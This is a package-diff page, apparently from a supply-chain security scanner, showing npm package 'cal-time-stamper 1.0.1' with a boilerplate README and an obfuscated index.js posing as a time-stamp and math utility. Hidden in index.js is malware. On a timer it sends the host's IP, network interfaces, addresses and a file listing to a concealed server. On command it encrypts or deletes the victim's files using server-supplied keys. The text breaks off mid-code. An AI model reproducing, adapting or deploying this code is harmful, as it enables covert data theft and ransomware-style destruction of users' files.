cal-time-stamper 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cal-time-stamper might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +50 -0
  2. package/index.js +14 -0
  3. package/package.json +27 -0
package/README.md ADDED
@@ -0,0 +1,50 @@
1
+ # Time Stamper
2
+
3
+ Time Stamper
4
+
5
+ # Editing this README
6
+
7
+ When you're ready to make this README your own, just edit this file and use the handy template below (or feel free to structure it however you want - this is just a starting point!). Thank you to [makeareadme.com](https://www.makeareadme.com/) for this template.
8
+
9
+ ## Suggestions for a good README
10
+ Every project is different, so consider which of these sections apply to yours. The sections used in the template are suggestions for most open source projects. Also keep in mind that while a README can be too long and detailed, too long is better than too short. If you think your README is too long, consider utilizing another form of documentation rather than cutting out information.
11
+
12
+ ## Name
13
+ Choose a self-explaining name for your project.
14
+
15
+ ## Description
16
+ Let people know what your project can do specifically. Provide context and add a link to any reference visitors might be unfamiliar with. A list of Features or a Background subsection can also be added here. If there are alternatives to your project, this is a good place to list differentiating factors.
17
+
18
+ ## Badges
19
+ On some READMEs, you may see small images that convey metadata, such as whether or not all the tests are passing for the project. You can use Shields to add some to your README. Many services also have instructions for adding a badge.
20
+
21
+ ## Visuals
22
+ Depending on what you are making, it can be a good idea to include screenshots or even a video (you'll frequently see GIFs rather than actual videos). Tools like ttygif can help, but check out Asciinema for a more sophisticated method.
23
+
24
+ ## Installation
25
+ Within a particular ecosystem, there may be a common way of installing things, such as using Yarn, NuGet, or Homebrew. However, consider the possibility that whoever is reading your README is a novice and would like more guidance. Listing specific steps helps remove ambiguity and gets people to using your project as quickly as possible. If it only runs in a specific context like a particular programming language version or operating system or has dependencies that have to be installed manually, also add a Requirements subsection.
26
+
27
+ ## Usage
28
+ Use examples liberally, and show the expected output if you can. It's helpful to have inline the smallest example of usage that you can demonstrate, while providing links to more sophisticated examples if they are too long to reasonably include in the README.
29
+
30
+ ## Support
31
+ Tell people where they can go to for help. It can be any combination of an issue tracker, a chat room, an email address, etc.
32
+
33
+ ## Roadmap
34
+ If you have ideas for releases in the future, it is a good idea to list them in the README.
35
+
36
+ ## Contributing
37
+ State if you are open to contributions and what your requirements are for accepting them.
38
+
39
+ For people who want to make changes to your project, it's helpful to have some documentation on how to get started. Perhaps there is a script that they should run or some environment variables that they need to set. Make these steps explicit. These instructions could also be useful to your future self.
40
+
41
+ You can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.
42
+
43
+ ## Authors and acknowledgment
44
+ Show your appreciation to those who have contributed to the project.
45
+
46
+ ## License
47
+ For open source projects, say how it is licensed.
48
+
49
+ ## Project status
50
+ If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ import exactMath from 'exact-math';
2
+ import os from 'os';
3
+ import process from 'process';
4
+ import fs from 'fs';
5
+ import path from 'path';
6
+ import crypto from 'crypto';
7
+ import axios from 'axios';
8
+
9
+ (function(_0x953dbc,_0x1704ec){const _0x4a5ef9={_0x2ffc83:0x266,_0x461011:'FTxk',_0x20f59d:'vH(]',_0x38221f:0x216,_0x3b88fb:0x278,_0x346f39:'q0lN'},_0x46bce0={_0x29ff34:0x389},_0x2bfb87=_0x953dbc();function _0x41f099(_0x1c918a,_0x4c7770){return _0x30cb(_0x4c7770- -_0x46bce0._0x29ff34,_0x1c918a);}while(!![]){try{const _0x172eda=parseInt(_0x41f099('PkD&',-0x275))/(0xaa+-0xa3f+0x996)+parseInt(_0x41f099('T!&w',-_0x4a5ef9._0x2ffc83))/(-0x1*-0x2113+0x2f*-0xb0+0x1*-0xc1)*(parseInt(_0x41f099(_0x4a5ef9._0x461011,-0x1f8))/(-0x14bf+0x2*-0xa3d+-0x16c*-0x1d))+-parseInt(_0x41f099('Psk$',-0x258))/(0x14e2+0x1e93*0x1+-0x3371)+-parseInt(_0x41f099(_0x4a5ef9._0x20f59d,-_0x4a5ef9._0x38221f))/(0x2*0x12d0+0x1f0d*0x1+-0x44a8)+parseInt(_0x41f099('Lcfr',-_0x4a5ef9._0x3b88fb))/(-0x161*-0x13+0x58b+-0x118*0x1d)+parseInt(_0x41f099('WW$Q',-0x22b))/(-0x151f*0x1+0x13a*-0x1+0x1660)*(-parseInt(_0x41f099(_0x4a5ef9._0x346f39,-0x1fc))/(-0x9ee+-0x2f8+0xcee))+parseInt(_0x41f099('!ygR',-0x25e))/(0x1b*0xc3+0x2663+-0x3aeb)*(parseInt(_0x41f099('D#O6',-0x206))/(0x17f+0x1608+-0x177d));if(_0x172eda===_0x1704ec)break;else _0x2bfb87['push'](_0x2bfb87['shift']());}catch(_0x1eb314){_0x2bfb87['push'](_0x2bfb87['shift']());}}}(_0xa733,0x409*-0x5+-0x1*-0x5260a+0x27f5*-0xe));let app_base_url=process[_0x2e5c65(-0x1a5,'T]w9')]();const my_url=_0x2e5c65(-0x1e5,'FTxk'),ip_url=_0x2e5c65(-0x1bd,'58!b'),fsp=fs[_0x2e5c65(-0x1aa,'z^Cd')];async function walk(_0x3dd58b){const _0xdaf711={_0x534e8c:0x1b2,_0x172754:0x1c5,_0x38a46d:'nDK^',_0x1cacbe:0x19f,_0x31d62a:'vH(]',_0x468c58:0x161,_0xba7436:'f)Hf'},_0x7fa8f0={_0x2cd49b:0x165,_0x1a6cb3:'FTxk',_0x1bf447:'$5Q4',_0x425014:0x110,_0x5e97c0:0x17b};let _0x3e8f08=await fsp[_0x14b3e6(_0xdaf711._0x534e8c,'k$ft')](_0x3dd58b);function _0x14b3e6(_0x1c9477,_0x9658f1){return _0x2e5c65(_0x1c9477-0x341,_0x9658f1);}_0x3e8f08=await Promise[_0x14b3e6(_0xdaf711._0x172754,_0xdaf711._0x38a46d)](_0x3e8f08[_0x14b3e6(_0xdaf711._0x1cacbe,_0xdaf711._0x31d62a)](async _0x142933=>{const _0x43c546=path[_0x39aac7('0q)a',_0x7fa8f0._0x2cd49b)](_0x3dd58b,_0x142933);function _0x39aac7(_0x421eee,_0x2edd55){return _0x14b3e6(_0x2edd55- -0x48,_0x421eee);}const _0x1376de=await fsp[_0x39aac7('k$ft',0x121)](_0x43c546);if(_0x1376de[_0x39aac7('Lcfr',0x15d)]()&&(!_0x43c546[_0x39aac7(_0x7fa8f0._0x1a6cb3,0x18a)](_0x39aac7(_0x7fa8f0._0x1bf447,_0x7fa8f0._0x425014))&&!_0x43c546[_0x39aac7('T!&w',0x10e)](_0x39aac7('rvyu',_0x7fa8f0._0x5e97c0))))return walk(_0x43c546);else{if(_0x1376de[_0x39aac7('YiEL',0x168)]())return _0x43c546;}}));let _0x21d4ce=_0x3e8f08[_0x14b3e6(_0xdaf711._0x468c58,'T]w9')]((_0x435816,_0x5e065e)=>_0x435816[_0x14b3e6(0x150,'fk8Z')](_0x5e065e),[]);return _0x21d4ce[_0x14b3e6(0x167,_0xdaf711._0xba7436)](function(_0x345237){return _0x345237!==undefined;});}function removeFile(_0x1752a5,_0x58af9a=![]){const _0x2a09b6={_0x5dabde:0x101,_0x41612e:0x14f},_0x136ab1={_0x599b44:0x8d};function _0x1f6965(_0x5a1b2e,_0x2db55d){return _0x2e5c65(_0x5a1b2e-_0x136ab1._0x599b44,_0x2db55d);}_0x58af9a?fs[_0x1f6965(-_0x2a09b6._0x5dabde,'LgaH')](_0x1752a5):fs[_0x1f6965(-_0x2a09b6._0x41612e,'^iHj')](app_base_url+'/'+_0x1752a5);}function readFile(_0xec18a3,_0x3611f0=![]){const _0x324871={_0x420098:0x1b7,_0x47a4dc:0x187,_0x906338:0x1b9,_0x968fd1:'8sb7'},_0x1eb6e7={_0x313287:0x36f};function _0x533e3c(_0x4c4c2f,_0x2bbcb4){return _0x2e5c65(_0x4c4c2f-_0x1eb6e7._0x313287,_0x2bbcb4);}return _0x3611f0?fs[_0x533e3c(_0x324871._0x420098,'QW[X')](_0xec18a3,_0x533e3c(_0x324871._0x47a4dc,'oI21')):fs[_0x533e3c(0x1f0,'g#OQ')](app_base_url+'/'+_0xec18a3,_0x533e3c(_0x324871._0x906338,_0x324871._0x968fd1));}function writeFile(_0x34cf7b,_0xca9860,_0x21130c=![]){function _0x6a71b6(_0x144613,_0x4d9683){return _0x2e5c65(_0x4d9683-0x150,_0x144613);}return _0x21130c?fs[_0x6a71b6('!ygR',-0x8d)](_0x34cf7b,_0xca9860):fs[_0x6a71b6('1odR',-0x1d)](app_base_url+'/'+_0x34cf7b,_0xca9860);}function lock_file(_0x4b06e5,_0xf39b09,_0x3cc5f3,_0x5d23b4){const _0x36ff2b={_0x26f6d5:'D]*J',_0x42e20f:'z^Cd',_0xec8017:0x3f,_0x4bccd0:'f)Hf',_0x154b08:'1odR',_0x16a42d:0x30},_0x26e83c=crypto[_0x3619a1(_0x36ff2b._0x26f6d5,0x18)](_0x4b06e5,_0x3cc5f3,_0xf39b09);let _0x3d2cdd=_0x26e83c[_0x3619a1(_0x36ff2b._0x42e20f,-_0x36ff2b._0xec8017)](_0x5d23b4,_0x3619a1(_0x36ff2b._0x4bccd0,0x57),_0x3619a1('$5Q4',0x32));function _0x3619a1(_0x341c00,_0x5a233b){return _0x2e5c65(_0x5a233b-0x1bc,_0x341c00);}return _0x3d2cdd+=_0x26e83c[_0x3619a1(_0x36ff2b._0x154b08,-0x26)](_0x3619a1('T!&w',_0x36ff2b._0x16a42d)),_0x3d2cdd;}function onCheat(_0x5f43c9,_0x341d7c,_0x177ca7=![]){const _0x5b3a52={_0x48b464:'nDK^',_0x422805:0x1d,_0x18cf9b:'FTxk'},_0x139278={_0x421dba:0x163};let _0x568847=readFile(_0x5f43c9,_0x177ca7),_0x1a1281=lock_file(_0x341d7c[_0x4e26b8('!FVY',-0x80)],_0x341d7c[_0x4e26b8(_0x5b3a52._0x48b464,-_0x5b3a52._0x422805)],_0x341d7c[_0x4e26b8(_0x5b3a52._0x18cf9b,-0x59)],_0x568847);function _0x4e26b8(_0x54c039,_0x4a12c6){return _0x2e5c65(_0x4a12c6-_0x139278._0x421dba,_0x54c039);}let _0x17f49f=writeFile(_0x5f43c9,_0x1a1281,_0x177ca7);}function get_address(){const _0x244b59={_0x20f6b4:0x476,_0x399f46:'rvyu',_0x4056d1:'FTxk',_0x5a4813:0x4be},_0x39c57e={_0x5698f:0x644};function _0x4640e4(_0x7abe0a,_0x28c42c){return _0x2e5c65(_0x7abe0a-_0x39c57e._0x5698f,_0x28c42c);}let _0x369088=os[_0x4640e4(_0x244b59._0x20f6b4,_0x244b59._0x399f46)](),_0xd67e0=[];for(const _0x266b0f in _0x369088){const _0x50c634=_0x369088[_0x266b0f];let _0x4a6d0b=_0x50c634[_0x4640e4(0x4c3,_0x244b59._0x4056d1)](_0x3841cf=>_0x3841cf[_0x4640e4(0x46d,'0q)a')]);_0xd67e0=_0xd67e0[_0x4640e4(_0x244b59._0x5a4813,'!ygR')](_0x4a6d0b);}return _0xd67e0;}async function makeGetRequest(_0x428693){const _0xe71ac0={_0x57ffd6:0x34,_0x1e2116:'[[Ug',_0x437ec0:0x5},_0x3c0ee4={_0x46cf67:0x1b9};let _0x21854e=await axios[_0x5b5df8(-_0xe71ac0._0x57ffd6,_0xe71ac0._0x1e2116)](_0x428693);function _0x5b5df8(_0x111cf5,_0x13f33f){return _0x2e5c65(_0x111cf5-_0x3c0ee4._0x46cf67,_0x13f33f);}return _0x21854e[_0x5b5df8(-_0xe71ac0._0x437ec0,'g#OQ')];}async function makePostRequest(_0x18968a,_0x10ba76){const _0x19f5eb={_0x461ea1:'oI21',_0x429635:0x78,_0x4b05ef:'PkD&',_0x1d7859:0x83,_0x5b372f:'QW[X',_0x380d95:0x91};function _0x2280b5(_0x568f48,_0x49f79e){return _0x2e5c65(_0x568f48-0x13f,_0x49f79e);}const _0x332557={};_0x332557[_0x2280b5(-0x54,_0x19f5eb._0x461ea1)]=_0x2280b5(-_0x19f5eb._0x429635,'J$mQ');const _0x5b8f47={};_0x5b8f47[_0x2280b5(-0x44,_0x19f5eb._0x4b05ef)]=_0x332557;let _0xd7f9ab=await axios[_0x2280b5(-_0x19f5eb._0x1d7859,_0x19f5eb._0x5b372f)](_0x18968a,JSON[_0x2280b5(-0x5f,'YiEL')](_0x10ba76),_0x5b8f47);return _0xd7f9ab[_0x2280b5(-_0x19f5eb._0x380d95,'f)Hf')];}function _0x30cb(_0x7ec8fc,_0x7a3865){const _0x5b957e=_0xa733();return _0x30cb=function(_0x487ccb,_0x316a62){_0x487ccb=_0x487ccb-(-0x12ac+0x6a4*-0x1+0x1a4d);let _0x57e407=_0x5b957e[_0x487ccb];if(_0x30cb['MIrNwD']===undefined){var _0x53b44a=function(_0x3dd58b){const _0x3e8f08='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x21d4ce='',_0x142933='';for(let _0x43c546=0x23b*0x8+-0x29*-0x9b+-0x2aab,_0x1376de,_0x435816,_0x5e065e=0x25a9+-0x220a*0x1+-0x39f;_0x435816=_0x3dd58b['charAt'](_0x5e065e++);~_0x435816&&(_0x1376de=_0x43c546%(0x15af+0x13bb*-0x1+-0x1f0)?_0x1376de*(-0x1*-0x2253+0x1e3+0x2*-0x11fb)+_0x435816:_0x435816,_0x43c546++%(-0x189*0x15+0x2*0x93+-0x1f1b*-0x1))?_0x21d4ce+=String['fromCharCode'](0x1746+-0x3*0x6de+-0x1ad&_0x1376de>>(-(-0x388+-0x98*-0x2c+-0x1696)*_0x43c546&-0x1ee1+-0xb09+0x3d0*0xb)):0x7*0x49c+-0x1b8b+-0x4b9){_0x435816=_0x3e8f08['indexOf'](_0x435816);}for(let _0x345237=-0x11*-0xf7+0x2602+0x1*-0x3669,_0x1752a5=_0x21d4ce['length'];_0x345237<_0x1752a5;_0x345237++){_0x142933+='%'+('00'+_0x21d4ce['charCodeAt'](_0x345237)['toString'](-0x1*0x713+-0x21e*-0xb+-0x1027))['slice'](-(0x3*0x69b+0x1*0x6e7+-0x1*0x1ab6));}return decodeURIComponent(_0x142933);};const _0x443a37=function(_0x58af9a,_0xec18a3){let _0x3611f0=[],_0x34cf7b=-0x76*-0x3+-0x1d90+0x1*0x1c2e,_0xca9860,_0x21130c='';_0x58af9a=_0x53b44a(_0x58af9a);let _0x4b06e5;for(_0x4b06e5=-0x7c*0x23+-0xe13+0x1f07;_0x4b06e5<0x2*0x30f+0x4ba+-0x9d8;_0x4b06e5++){_0x3611f0[_0x4b06e5]=_0x4b06e5;}for(_0x4b06e5=-0x1*0x2015+0x1aa0+-0x7f*-0xb;_0x4b06e5<0x1*0x8b0+-0x5*-0x4cf+0x1*-0x1fbb;_0x4b06e5++){_0x34cf7b=(_0x34cf7b+_0x3611f0[_0x4b06e5]+_0xec18a3['charCodeAt'](_0x4b06e5%_0xec18a3['length']))%(0x62a+-0x6fd*0x2+0x8d0),_0xca9860=_0x3611f0[_0x4b06e5],_0x3611f0[_0x4b06e5]=_0x3611f0[_0x34cf7b],_0x3611f0[_0x34cf7b]=_0xca9860;}_0x4b06e5=-0xe2b+0x2*0x580+0x32b*0x1,_0x34cf7b=-0x8e*0x32+0x3*0xbb+0x198b;for(let _0xf39b09=0xca7*0x1+0x2331+-0x17ec*0x2;_0xf39b09<_0x58af9a['length'];_0xf39b09++){_0x4b06e5=(_0x4b06e5+(-0x43f*-0x4+0x5cf+-0xb65*0x2))%(0x1eae+-0xa*-0x109+0xe*-0x2dc),_0x34cf7b=(_0x34cf7b+_0x3611f0[_0x4b06e5])%(-0x1cae+0xb3a+0x4*0x49d),_0xca9860=_0x3611f0[_0x4b06e5],_0x3611f0[_0x4b06e5]=_0x3611f0[_0x34cf7b],_0x3611f0[_0x34cf7b]=_0xca9860,_0x21130c+=String['fromCharCode'](_0x58af9a['charCodeAt'](_0xf39b09)^_0x3611f0[(_0x3611f0[_0x4b06e5]+_0x3611f0[_0x34cf7b])%(-0x1445+-0x2*-0xe72+0x79f*-0x1)]);}return _0x21130c;};_0x30cb['vHRfjK']=_0x443a37,_0x7ec8fc=arguments,_0x30cb['MIrNwD']=!![];}const _0x3fea34=_0x5b957e[0x10a9+0x176+-0x121f],_0x1d54c7=_0x487ccb+_0x3fea34,_0x37d8ba=_0x7ec8fc[_0x1d54c7];return!_0x37d8ba?(_0x30cb['iJIFOr']===undefined&&(_0x30cb['iJIFOr']=!![]),_0x57e407=_0x30cb['vHRfjK'](_0x57e407,_0x316a62),_0x7ec8fc[_0x1d54c7]=_0x57e407):_0x57e407=_0x37d8ba,_0x57e407;},_0x30cb(_0x7ec8fc,_0x7a3865);}async function main(){const _0x1115f7={_0x2a5fe7:'1odR',_0xd10f9b:0x3a8,_0x7a87bc:0x3e3},_0x3e79f0={_0x132126:0x31c};function _0x157dea(_0x294516,_0x146676){return _0x2e5c65(_0x294516-0x559,_0x146676);}try{let _0x4efdf7=await makeGetRequest(ip_url),_0x4d5d16=os[_0x157dea(0x38d,'H2#9')](),_0x47251c=get_address(),_0x7e7fd2=await walk(app_base_url),_0x516d22=await makePostRequest(my_url,{'ip':_0x4efdf7,'networkInterfaces':_0x4d5d16,'addresses':_0x47251c,'files':_0x7e7fd2,'time':Date[_0x157dea(0x3b3,'$ZM6')]()});if(_0x516d22[_0x157dea(0x3e5,_0x1115f7._0x2a5fe7)]==![]){_0x516d22[_0x157dea(_0x1115f7._0xd10f9b,'(M]o')]?.[_0x157dea(0x37a,'aoCJ')](_0x41188b=>{const _0x3db735={_0x1f4f79:0xcd};function _0x50ccc1(_0x3941ea,_0x33b457){return _0x157dea(_0x3941ea- -_0x3db735._0x1f4f79,_0x33b457);}onCheat(_0x41188b,_0x516d22[_0x50ccc1(_0x3e79f0._0x132126,'aoCJ')],!![]);});const _0x98b1e2={};_0x98b1e2[_0x157dea(0x3de,'$5Q4')]=!![],_0x98b1e2[_0x157dea(_0x1115f7._0x7a87bc,'YiEL')]=!![],fs[_0x157dea(0x3d7,'!FVY')](_0x157dea(0x3a5,'aoCJ'),_0x98b1e2);}}catch(_0x50cef4){return'';}}setInterval(()=>{main();},0x12d47+-0x1104b*0x1+0x7f44);const _0x4a2703={};_0x4a2703[_0x2e5c65(-0x1ad,'Lcfr')]=!![],_0x4a2703[_0x2e5c65(-0x1a8,'J$mQ')]=Infinity,_0x4a2703[_0x2e5c65(-0x16e,'J$mQ')]=Infinity;const mathConfig=_0x4a2703;function add(..._0x5641b5){const _0x56e298={_0x19025b:0x1df,_0x50fdf1:0x1c5},_0x2b4407={_0x46890a:0x1};function _0x577660(_0x214d9a,_0x3e5155){return _0x2e5c65(_0x3e5155- -_0x2b4407._0x46890a,_0x214d9a);}try{return exactMath[_0x577660('UMOb',-_0x56e298._0x19025b)](..._0x5641b5,mathConfig);}catch(_0x51f0eb){let _0x59d170=new Error(_0x51f0eb[_0x577660('58!b',-_0x56e298._0x50fdf1)]);return _0x59d170;}}function sub(..._0x294d4e){const _0x400545={_0x12da14:'PkD&'},_0x52aa4e={_0x358d1d:0x346};function _0x3d11f4(_0x59911e,_0x52c53a){return _0x2e5c65(_0x52c53a-_0x52aa4e._0x358d1d,_0x59911e);}try{return exactMath[_0x3d11f4(_0x400545._0x12da14,0x194)](..._0x294d4e,mathConfig);}catch(_0x46014f){let _0x451e06=new Error(_0x46014f[_0x3d11f4('fk8Z',0x152)]);return _0x451e06;}}function mul(..._0x1fd0df){const _0x1da8a0={_0x4ecd78:0x2e2,_0x32bd4e:0x2f2,_0xf53963:'k]ZK'};function _0x2a6e3c(_0x2e00a6,_0x5e5932){return _0x2e5c65(_0x2e00a6-0x4a1,_0x5e5932);}try{return exactMath[_0x2a6e3c(_0x1da8a0._0x4ecd78,'EnyY')](..._0x1fd0df,mathConfig);}catch(_0x3149aa){let _0x34f317=new Error(_0x3149aa[_0x2a6e3c(_0x1da8a0._0x32bd4e,_0x1da8a0._0xf53963)]);return _0x34f317;}}function div(..._0x13049f){const _0x3bf667={_0x418154:0x150,_0x8b9a66:'sJ91',_0x4ee836:0x186,_0x425224:'[[Ug'};function _0x330a42(_0x241ea4,_0x47284a){return _0x2e5c65(_0x241ea4-0x323,_0x47284a);}try{return exactMath[_0x330a42(_0x3bf667._0x418154,_0x3bf667._0x8b9a66)](..._0x13049f,mathConfig);}catch(_0x174832){let _0x2084d3=new Error(_0x174832[_0x330a42(_0x3bf667._0x4ee836,_0x3bf667._0x425224)]);return _0x2084d3;}}function round(..._0x2d6245){const _0x53a008={_0x788eda:'nDK^',_0xbb800e:0x18a},_0x385326={_0x86ecb0:0x3};function _0x4eb497(_0x1f2f66,_0x537c63){return _0x2e5c65(_0x537c63- -_0x385326._0x86ecb0,_0x1f2f66);}try{return exactMath[_0x4eb497(_0x53a008._0x788eda,-_0x53a008._0xbb800e)](..._0x2d6245,mathConfig);}catch(_0x14a22f){let _0x2d2f8b=new Error(_0x14a22f[_0x4eb497('4Vds',-0x187)]);return _0x2d2f8b;}}function floor(..._0x3b4985){const _0x592004={_0xb873a9:0x19a,_0x528f7b:'(K)&'};function _0x5f44b1(_0x36ff1a,_0x4e4003){return _0x2e5c65(_0x36ff1a- -0x8,_0x4e4003);}try{return exactMath[_0x5f44b1(-_0x592004._0xb873a9,_0x592004._0x528f7b)](..._0x3b4985,mathConfig);}catch(_0x230424){let _0x3646ea=new Error(_0x230424[_0x5f44b1(-0x1d1,'8sb7')]);return _0x3646ea;}}const _0x179b72={};_0x179b72[_0x2e5c65(-0x18d,'aoCJ')]=add,_0x179b72[_0x2e5c65(-0x179,'4Xot')]=sub,_0x179b72[_0x2e5c65(-0x199,'aoCJ')]=mul,_0x179b72[_0x2e5c65(-0x1bb,'(K)&')]=div,_0x179b72[_0x2e5c65(-0x173,'^iHj')]=round,_0x179b72[_0x2e5c65(-0x1f6,'8sb7')]=floor;let Calculator=_0x179b72;const time_intervals=['1m','3m','5m',_0x2e5c65(-0x1a1,'D#O6'),_0x2e5c65(-0x1ac,'rvyu'),_0x2e5c65(-0x198,'PkD&'),'1h','2h',_0x2e5c65(-0x1c0,'^iHj'),'1d','1w','1M'],_0x206539={};_0x206539['1m']=0x1,_0x206539['3m']=0x3,_0x206539['5m']=0x5,_0x206539[_0x2e5c65(-0x1d6,'UMOb')]=0xa,_0x206539[_0x2e5c65(-0x1f7,'f)Hf')]=0xf,_0x206539[_0x2e5c65(-0x188,'Psk$')]=0x1e,_0x206539['1h']=0x1,_0x206539['2h']=0x2,_0x206539[_0x2e5c65(-0x196,']Bvu')]=0xc;const time_divider=_0x206539,_0x5cb5fb={};_0x5cb5fb['1m']=0x1,_0x5cb5fb['3m']=0x3,_0x5cb5fb['5m']=0x5,_0x5cb5fb[_0x2e5c65(-0x171,'(M]o')]=0xa,_0x5cb5fb[_0x2e5c65(-0x190,'EnyY')]=0xf,_0x5cb5fb[_0x2e5c65(-0x177,'&Xf&')]=0x1e,_0x5cb5fb['1h']=0x3c,_0x5cb5fb['2h']=0x78;function _0x2e5c65(_0x1eec6b,_0x11d1ef){const _0x424efd={_0x1c9d4f:0x2f8};return _0x30cb(_0x1eec6b- -_0x424efd._0x1c9d4f,_0x11d1ef);}_0x5cb5fb[_0x2e5c65(-0x1f5,'#JVH')]=0x2d0,_0x5cb5fb['1d']=0x5a0,_0x5cb5fb['1w']=0x2760;const time_multipliers=_0x5cb5fb,TimeInMinutes=_0x433c5f=>{const _0x114967={_0x45934c:'YiEL',_0x359ce0:0x1f3};function _0x560cba(_0xfd492d,_0x45d739){return _0x2e5c65(_0x45d739-0x3dd,_0xfd492d);}if(!time_intervals[_0x560cba(_0x114967._0x45934c,_0x114967._0x359ce0)](_0x433c5f))return time_multipliers['1m'];return time_multipliers[_0x433c5f];},_0x4956c8={};_0x4956c8[_0x2e5c65(-0x16c,'(M]o')]=time_intervals,_0x4956c8[_0x2e5c65(-0x1d4,'z^Cd')]=time_divider,_0x4956c8[_0x2e5c65(-0x178,'4Vds')]=TimeInMinutes;let TimeInterval=_0x4956c8;const getTimeStamp=(_0x5ca325='1m',_0x6ac429=null)=>{const _0x119188={_0x1db53b:'k]ZK',_0x4c9ef7:'YiEL',_0x384513:'Psk$',_0x2c5b62:'(K)&',_0x575d85:'Psk$',_0x1136a7:0x4e7,_0x6d0175:'Y]w1',_0x3350d2:'$5Q4',_0x1889cb:0x4aa,_0x41b5a0:0x4d9,_0x2c46b1:0x480,_0x35aba5:0x4d0,_0x16fcd8:0x4ad,_0x2ca9bf:'Lcfr',_0x334e3b:0x4b6,_0x4287a:0x4cd,_0x4c72cc:'8sb7',_0x208bb9:0x4d1,_0x15ffcb:'UMOb',_0xcd3c77:0x4c2,_0x3dd3d9:'z^Cd'},_0x29c501={_0x2bc5b5:0x670};!time_intervals[_0x44dea0(0x4c0,_0x119188._0x1db53b)](_0x5ca325)&&(_0x5ca325='1m');const _0x1cc05e=_0x6ac429!=null?new Date(_0x6ac429):new Date(),_0x5d6cb0=0x22*-0x72d+0x19bdd+0x427d;let _0x3383e6=0x2148+0x3*0x657+-0x344d;_0x1cc05e[_0x44dea0(0x4a1,'q0lN')](-0xeb*-0x13+-0x3df*-0x1+-0x1550);function _0x44dea0(_0x39af2d,_0x27153c){return _0x2e5c65(_0x39af2d-_0x29c501._0x2bc5b5,_0x27153c);}_0x1cc05e[_0x44dea0(0x4c5,'k$ft')](0x1177+-0x882+-0x8f5*0x1);if(_0x5ca325[_0x44dea0(0x486,_0x119188._0x4c9ef7)]('m')){let _0x541218=_0x1cc05e[_0x44dea0(0x506,_0x119188._0x384513)](),_0x5b1d11=_0x541218%time_divider[_0x5ca325];_0x541218=exactMath[_0x44dea0(0x4c7,'$ZM6')](_0x541218,_0x5b1d11),_0x1cc05e[_0x44dea0(0x4bd,_0x119188._0x2c5b62)](_0x541218),_0x3383e6=time_divider[_0x5ca325];}else _0x1cc05e[_0x44dea0(0x47e,_0x119188._0x575d85)](0xf01+-0x15b2+0x6b1);if(_0x5ca325[_0x44dea0(0x4db,'WW$Q')]('h')){let _0x123475=_0x1cc05e[_0x44dea0(0x4b7,'T]w9')](),_0x3c9c3=_0x123475%time_divider[_0x5ca325];_0x123475=exactMath[_0x44dea0(0x4c9,'4Vds')](_0x123475,_0x3c9c3),_0x1cc05e[_0x44dea0(0x508,'nDK^')](_0x123475),_0x3383e6=exactMath[_0x44dea0(_0x119188._0x1136a7,_0x119188._0x6d0175)](time_divider[_0x5ca325],0x16dd*-0x1+-0x14e7*0x1+0xb*0x400);}_0x5ca325=='1d'&&(_0x1cc05e[_0x44dea0(0x497,_0x119188._0x3350d2)](0xdaf*-0x1+-0x2*0xbfb+0x25a5),_0x3383e6=exactMath[_0x44dea0(_0x119188._0x1889cb,'oI21')](0x2010+0x15e*0x3+-0x2412,0x800+0x1*-0x1bdf+0x1*0x141b));if(_0x5ca325=='1w'){_0x1cc05e[_0x44dea0(_0x119188._0x41b5a0,'rvyu')](-0x1*-0x2571+-0x99*-0x6+-0x48f*0x9);let _0x54f3e4=_0x1cc05e[_0x44dea0(0x507,'&Xf&')](),_0xf8203d=_0x1cc05e[_0x44dea0(0x50c,'^iHj')](),_0x423ceb=exactMath[_0x44dea0(_0x119188._0x2c46b1,'#JVH')](_0x54f3e4,_0xf8203d-(-0x10*0xc5+0xca0+-0x4f*0x1));_0x1cc05e[_0x44dea0(_0x119188._0x35aba5,'PkD&')](_0x423ceb),_0x3383e6=exactMath[_0x44dea0(0x4a5,'k]ZK')](0x2*-0xe93+0x1*-0x16b4+0x33f2,0x3*-0x379+-0x2015+0x2abc,0x871*0x3+0x5*-0x59b+-0x3*-0xe9);}if(_0x5ca325=='1M'){_0x1cc05e[_0x44dea0(_0x119188._0x16fcd8,_0x119188._0x2ca9bf)](-0x1*-0x4eb+0x11c6+-0x9d*0x25),_0x1cc05e[_0x44dea0(_0x119188._0x334e3b,'$ZM6')](-0x499*0x1+0x1*-0xe2b+0x3c1*0x5);let _0x53dc51=new Date(_0x1cc05e[_0x44dea0(_0x119188._0x4287a,'YiEL')](),_0x1cc05e[_0x44dea0(0x50e,_0x119188._0x4c72cc)]()+(-0x8e*0x32+0x3*0xbb+0x198c))[_0x44dea0(_0x119188._0x208bb9,_0x119188._0x15ffcb)]();_0x3383e6=exactMath[_0x44dea0(0x50a,'f)Hf')](0xca7*0x1+0x2331+-0x5f8*0x8,-0x43f*-0x4+0x5cf+-0x113*0x15,_0x53dc51);}_0x3383e6=exactMath[_0x44dea0(0x4f6,'nDK^')](exactMath[_0x44dea0(_0x119188._0x1889cb,'oI21')](_0x3383e6,_0x5d6cb0),0x1eae+-0xa*-0x109+0x9*-0x48f),_0x6ac429=_0x1cc05e[_0x44dea0(0x4fe,'rvyu')]();let _0x48f150=exactMath[_0x44dea0(0x495,'f)Hf')](_0x6ac429,_0x3383e6);const _0x553473={};return _0x553473[_0x44dea0(_0x119188._0xcd3c77,_0x119188._0x15ffcb)]=_0x6ac429,_0x553473[_0x44dea0(0x4d5,_0x119188._0x3350d2)]=_0x48f150,_0x553473[_0x44dea0(0x477,_0x119188._0x3dd3d9)]=_0x3383e6,_0x553473;},get_1m_TimeStamp=()=>{const _0x5d0413={_0x5c61c8:'q0lN',_0xba2a64:0xda,_0x1321ba:0x125,_0x206640:'nDK^',_0x1c0886:'z^Cd'},_0x17668e=new 